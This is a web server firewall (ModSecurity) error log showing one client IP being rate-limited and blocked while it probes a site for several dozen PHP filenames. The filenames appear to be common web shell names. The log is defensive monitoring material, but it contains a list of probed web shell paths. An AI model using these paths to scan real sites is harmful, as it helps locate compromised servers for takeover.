[Tue Mar 31 03:33:49.773805 2026] [:error] [pid 53198:tid 53277] [client 98.71.65.172:61708] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "acrQHZIIspyQOAKrL3VV7QAAAJY"]
[Tue Mar 31 03:33:50.532859 2026] [:error] [pid 53287:tid 53289] [client 98.71.65.172:61717] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asudo.php"] [unique_id "acrQHgDMGOSLvCorfgsbyQAAAMA"]
[Tue Mar 31 03:33:51.240943 2026] [:error] [pid 53196:tid 53209] [client 98.71.65.172:60322] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "acrQH7llYgzI9aNU9ZRV9gAAAAk"]
[Tue Mar 31 03:33:52.225637 2026] [:error] [pid 53198:tid 53266] [client 98.71.65.172:65127] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "acrQIJIIspyQOAKrL3VV7wAAAIs"]
[Tue Mar 31 03:33:53.137968 2026] [:error] [pid 53198:tid 53273] [client 98.71.65.172:60333] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "acrQIZIIspyQOAKrL3VV8gAAAJI"]
[Tue Mar 31 03:33:53.816616 2026] [:error] [pid 53196:tid 53212] [client 98.71.65.172:65085] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "acrQIbllYgzI9aNU9ZRV-wAAAAw"]
[Tue Mar 31 03:33:54.654070 2026] [:error] [pid 53196:tid 53220] [client 98.71.65.172:59677] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-moonka.php"] [unique_id "acrQIrllYgzI9aNU9ZRV_gAAABQ"]
[Tue Mar 31 03:33:55.946071 2026] [:error] [pid 53196:tid 53200] [client 98.71.65.172:64502] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-moonka.php"] [unique_id "acrQI7llYgzI9aNU9ZRWAwAAAAA"]
[Tue Mar 31 03:33:56.700050 2026] [:error] [pid 53196:tid 53206] [client 98.71.65.172:61788] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-moonka.php"] [unique_id "acrQJLllYgzI9aNU9ZRWBQAAAAY"]
[Tue Mar 31 03:33:57.569549 2026] [:error] [pid 53197:tid 53248] [client 98.71.65.172:60373] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-moonka.php"] [unique_id "acrQJWdBhXmWgrUmTZwcmQAAAFQ"]
[Tue Mar 31 03:33:58.212489 2026] [:error] [pid 53197:tid 53244] [client 98.71.65.172:64417] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "acrQJmdBhXmWgrUmTZwcngAAAFA"]
[Tue Mar 31 03:33:58.828949 2026] [:error] [pid 53197:tid 53239] [client 98.71.65.172:61742] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "acrQJmdBhXmWgrUmTZwcogAAAEs"]
[Tue Mar 31 03:33:59.424835 2026] [:error] [pid 53287:tid 53296] [client 98.71.65.172:64490] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "acrQJwDMGOSLvCorfgsb2gAAAMc"]
[Tue Mar 31 03:33:59.931590 2026] [:error] [pid 53287:tid 53292] [client 98.71.65.172:60338] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "acrQJwDMGOSLvCorfgsb3gAAAMM"]
[Tue Mar 31 03:34:00.453509 2026] [:error] [pid 53287:tid 53309] [client 98.71.65.172:63705] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "acrQKADMGOSLvCorfgsb4wAAANQ"]
[Tue Mar 31 03:34:01.001891 2026] [:error] [pid 53287:tid 53298] [client 98.71.65.172:61744] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "acrQKQDMGOSLvCorfgsb5gAAAMk"]
[Tue Mar 31 03:34:01.527996 2026] [:error] [pid 53198:tid 53262] [client 98.71.65.172:63740] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "acrQKZIIspyQOAKrL3VV8wAAAIc"]
[Tue Mar 31 03:34:02.042891 2026] [:error] [pid 53287:tid 53292] [client 98.71.65.172:65107] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "acrQKgDMGOSLvCorfgsb6wAAAMM"]
[Tue Mar 31 03:34:02.555127 2026] [:error] [pid 53287:tid 53289] [client 98.71.65.172:59701] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "acrQKgDMGOSLvCorfgsb7gAAAMA"]
[Tue Mar 31 03:34:03.127132 2026] [:error] [pid 53287:tid 53294] [client 98.71.65.172:64410] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "acrQKwDMGOSLvCorfgsb8gAAAMU"]
[Tue Mar 31 03:34:03.717236 2026] [:error] [pid 53287:tid 53291] [client 98.71.65.172:64453] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "acrQKwDMGOSLvCorfgsb9gAAAMI"]
[Tue Mar 31 03:34:04.257787 2026] [:error] [pid 53287:tid 53298] [client 98.71.65.172:63733] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "acrQLADMGOSLvCorfgsb-AAAAMk"]
[Tue Mar 31 03:34:04.768953 2026] [:error] [pid 53198:tid 53269] [client 98.71.65.172:60397] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrQLJIIspyQOAKrL3VV9wAAAI4"]
[Tue Mar 31 03:34:05.272105 2026] [:error] [pid 53196:tid 53208] [client 98.71.65.172:63730] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrQLbllYgzI9aNU9ZRWEAAAAAg"]
[Tue Mar 31 03:34:05.831782 2026] [:error] [pid 53198:tid 53272] [client 98.71.65.172:59033] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrQLZIIspyQOAKrL3VV-gAAAJE"]
[Tue Mar 31 03:34:06.378514 2026] [:error] [pid 53197:tid 53241] [client 98.71.65.172:64471] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zlnckdxn.php"] [unique_id "acrQLmdBhXmWgrUmTZwcpQAAAE0"]
[Tue Mar 31 03:34:06.903119 2026] [:error] [pid 53196:tid 53212] [client 98.71.65.172:59684] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-thi.php"] [unique_id "acrQLrllYgzI9aNU9ZRWEwAAAAw"]
[Tue Mar 31 03:34:07.420006 2026] [:error] [pid 53197:tid 53236] [client 98.71.65.172:60324] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-thi.php"] [unique_id "acrQL2dBhXmWgrUmTZwcpgAAAEg"]
[Tue Mar 31 03:34:07.923588 2026] [:error] [pid 53196:tid 53207] [client 98.71.65.172:59766] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-thi.php"] [unique_id "acrQL7llYgzI9aNU9ZRWFgAAAAc"]
[Tue Mar 31 03:34:08.435089 2026] [:error] [pid 53197:tid 53250] [client 98.71.65.172:64488] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-thi.php"] [unique_id "acrQMGdBhXmWgrUmTZwcpwAAAFY"]
[Tue Mar 31 03:34:09.036854 2026] [:error] [pid 53198:tid 53265] [client 98.71.65.172:63708] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "acrQMZIIspyQOAKrL3VWCwAAAIo"]
[Tue Mar 31 03:34:09.542280 2026] [:error] [pid 53197:tid 53232] [client 98.71.65.172:65133] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "acrQMWdBhXmWgrUmTZwcqQAAAEQ"]
[Tue Mar 31 03:34:10.095981 2026] [:error] [pid 53196:tid 53217] [client 98.71.65.172:63711] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "acrQMrllYgzI9aNU9ZRWGwAAABE"]
[Tue Mar 31 03:34:10.741003 2026] [:error] [pid 53198:tid 53278] [client 98.71.65.172:63741] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "acrQMpIIspyQOAKrL3VWDAAAAJc"]
[Tue Mar 31 03:34:11.275435 2026] [:error] [pid 53287:tid 53304] [client 98.71.65.172:65106] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "acrQMwDMGOSLvCorfgscBAAAAM8"]
[Tue Mar 31 03:34:11.809380 2026] [:error] [pid 53287:tid 53292] [client 98.71.65.172:65028] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "acrQMwDMGOSLvCorfgscBgAAAMM"]
[Tue Mar 31 03:34:12.495717 2026] [:error] [pid 53287:tid 53310] [client 98.71.65.172:63662] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "acrQNADMGOSLvCorfgscCgAAANU"]
[Tue Mar 31 03:34:13.332579 2026] [:error] [pid 53196:tid 53216] [client 98.71.65.172:65079] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "acrQNbllYgzI9aNU9ZRWIAAAABA"]
[Tue Mar 31 03:34:13.948524 2026] [:error] [pid 53196:tid 53220] [client 98.71.65.172:63663] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "acrQNbllYgzI9aNU9ZRWIQAAABQ"]
[Tue Mar 31 03:34:14.725075 2026] [:error] [pid 53287:tid 53294] [client 98.71.65.172:61795] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "acrQNgDMGOSLvCorfgscEgAAAMU"]
[Tue Mar 31 03:34:15.425773 2026] [:error] [pid 53287:tid 53299] [client 98.71.65.172:59650] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "acrQNwDMGOSLvCorfgscEwAAAMo"]
[Tue Mar 31 03:34:16.384798 2026] [:error] [pid 53196:tid 53203] [client 98.71.65.172:59117] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Geforce.php"] [unique_id "acrQOLllYgzI9aNU9ZRWJgAAAAM"]
[Tue Mar 31 03:34:18.746630 2026] [:error] [pid 53198:tid 53277] [client 98.71.65.172:64425] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "acrQOpIIspyQOAKrL3VWEwAAAJY"]
[Tue Mar 31 03:34:19.499827 2026] [:error] [pid 53198:tid 53272] [client 98.71.65.172:59669] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "acrQO5IIspyQOAKrL3VWFwAAAJE"]
[Tue Mar 31 03:34:20.449456 2026] [:error] [pid 53196:tid 53222] [client 98.71.65.172:60331] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "acrQPLllYgzI9aNU9ZRWLgAAABY"]
[Tue Mar 31 03:34:21.042687 2026] [:error] [pid 53287:tid 53294] [client 98.71.65.172:59759] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "acrQPQDMGOSLvCorfgscGwAAAMU"]
[Tue Mar 31 03:34:21.833401 2026] [:error] [pid 53287:tid 53312] [client 98.71.65.172:60390] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "acrQPQDMGOSLvCorfgscHgAAANc"]
[Tue Mar 31 03:34:22.431183 2026] [:error] [pid 53198:tid 53274] [client 98.71.65.172:59093] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "acrQPpIIspyQOAKrL3VWGgAAAJM"]
[Tue Mar 31 03:34:23.027159 2026] [:error] [pid 53197:tid 53239] [client 98.71.65.172:64433] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "acrQP2dBhXmWgrUmTZwctQAAAEs"]
[Tue Mar 31 03:34:23.597817 2026] [:error] [pid 53196:tid 53207] [client 98.71.65.172:65113] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dichku.php"] [unique_id "acrQP7llYgzI9aNU9ZRWMwAAAAc"]
[Tue Mar 31 03:34:24.181273 2026] [:error] [pid 53287:tid 53311] [client 98.71.65.172:64476] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "acrQQADMGOSLvCorfgscJAAAANY"]
[Tue Mar 31 03:34:24.758170 2026] [:error] [pid 53287:tid 53309] [client 98.71.65.172:61702] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "acrQQADMGOSLvCorfgscJgAAANQ"]
[Tue Mar 31 03:34:25.321035 2026] [:error] [pid 53198:tid 53265] [client 98.71.65.172:59753] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "acrQQZIIspyQOAKrL3VWHwAAAIo"]
[Tue Mar 31 03:34:25.970296 2026] [:error] [pid 53287:tid 53291] [client 98.71.65.172:63646] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "acrQQQDMGOSLvCorfgscKQAAAMI"]
[Tue Mar 31 03:34:26.733027 2026] [:error] [pid 53287:tid 53299] [client 98.71.65.172:61793] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vvedr.php"] [unique_id "acrQQgDMGOSLvCorfgscLAAAAMo"]
[Tue Mar 31 03:34:27.429643 2026] [:error] [pid 53198:tid 53255] [client 98.71.65.172:65120] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vvedr.php"] [unique_id "acrQQ5IIspyQOAKrL3VWIwAAAIA"]
